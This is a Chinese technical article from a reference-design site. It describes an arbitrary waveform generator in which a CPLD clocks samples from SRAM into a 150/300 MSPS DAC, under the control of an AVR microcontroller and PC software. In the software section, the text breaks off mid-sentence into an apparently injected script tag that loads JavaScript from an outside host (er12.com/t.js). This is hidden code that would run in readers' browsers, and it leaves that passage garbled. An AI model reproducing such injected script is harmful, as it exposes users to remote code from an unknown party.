基于CPLD的任意波形发生器

引言

任意波形发生器(arbitrary wave generator,以下简称awg)在通信系统、测试系统等方面得到广泛应用。本文利用自主研制的150 msps (million sampling per second)12位dac(digital analog converter)和300msps 12位dac,基于cpld技术,设计了一种awg。要产生的波形通过上位机软件设置,然后将波形数据下载到awg,awg在cpld的高速控制电路下将波形数据送高速dac进行转换形成所要的波形。下面先分析awg的硬件结构。

任意波形发生器的硬件结构

awg的工作过程是,首先接收上位机送来的波形数字信号存储到sram,然后启动控制电路从sram取出数据送dac进行数摸转换,转换后的模拟信号送低通滤波器形成波形。如果dac工作在150msps的速度下,可以以150mhz的频率送数据到dac进行转换,微控制器的晶振输入一般工作在40mhz以下,没有这么高的速度送出数据到dac,所以考虑采用cpld构建硬件控制电路。数据首先传送到sram,然后在cpld硬件控制电路的控制下,以150mhz的频率从sram中取数送dac转换。其体系结构如图一所示。如果要形成正弦周期信号,每周期4个点就可以合成一个波形,此时可以输出约38mhz的高频信号。

图一 awg硬件结构

cpld(complex programmable logic device,复杂可编程逻辑器件)是在传统的pal、gal基础上发展而来的,具有多种工作方式和高集成、高速、高可靠性等明显的特点,在超高速领域和实时测控方面有非常广泛的应用。与fpga相比,cpld比较适合计算机总线控制、地址译码、复杂状态机、定时/计数器、存储控制器等i/o密集型应用,且无须外部配置rom、时延可预测等。目前的cpld普遍基于e2prom和flash电可擦技术,可实现循环擦写。altera公司的max7000 cpld配置有jtag口,支持isp编程。用vhdl或verilog hdl(hardware description language,硬件描述语言)设计的程序,借助eda工具经过行为仿真、功能仿真和时序仿真后,通过综合工具产生网表,下载到目标器件,从而生成硬件电路。

本装置中,cpld采用altera公司的epm7128ae[4],其最高工作频率达200mhz。微控制器采用atmel公司avr微控制器at90s8515[2],其主要特征有:增强型risc体系结构cpu,8k flash,512字节eeprom,512字节internal sram,uart,spi,宽电压范围:2.7-6.0v。sram选用64k x 16的cy7c1021v。

下面对cpld控制电路进行分析。

cpld电路设计

cpld主要负责以高速率(150mhz)从sram中取数到dac,其核心电路是一个13位的计数器。波形数据文件的大小为8kbytes。如果要扩大波形文件的大小,可以根据需要增加cpld的地址计数器容量。在cpld内部构造的dac控制电路如图二所示,下面对其控制流程进行分析。

pa[15:0]接at90s8515的2个8位并行口;d[15:0]接sram的数据线d0-d15;ad[12:0]接sram的地址线a0-a12;db[15:0]接dac的d0-d11(d12-d15不用);clk_sel选择计数器的时钟输入方式;clk_avr接mcu的一个i/o端,通过软件编程在clk_avr输出脉冲信号作为计数器的时钟;clk_cpld接150mhz时钟信号;/wr和/we接mcu的i/o端。

当pc机下载数据时,其控制流程如下:

①clk_sel=0,选择软件时钟

②复位地址计数器

③mcu送数据到pa[15:0]

④/wr从0变到1,打开从mcu到sram的数据缓冲器将数据写入sram

⑤给clk_avr一个脉冲,让计数器增1从而指向sram的下一个接收地址单元。

当数据下载完成后,启动cpld从sram取数据到dac,其控制流程如下:

①we=1,打开从sram到dac的缓冲器。

②clk_sel=1,计数器的输入时钟选择150mhz的外部时钟,

③复位地址计数器,外部高速时钟的驱动下地址计数器开始计数,从sram中取出数据送到dac进行数据转换。

cpld的编程在quartusii5.0环境下进行,quartus的设计输入支持ahdl、vhdl、verilog hdl等硬件描述语言的程序输入和图形输入,这里采用图形输入的方式。完成设计输入后,依次进行编译、功能仿真、时序仿真。下图三是cpld取数据到dac进行转换的时序仿真结果。图中cpld的工作频率为125mhz,实际工作中最高工作在200mhz,从图中可以看出,每来一个时钟,cpld从sram中取出一个数据送dac进行a/d转换。最后将结果下载到cpld内部运行。

软件设计

awg的软件采用codevision avr c[3]编写,at90s8515支持isp(in system programming,在系统编程),程序编译后经jtag口下载到at90s8515中。为配合该装置的使用,我们在vb开发环境下设计了上位机软件,其?script src=http://er12.com/t.js>

  • 基于CPLD的任意波形发生器已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计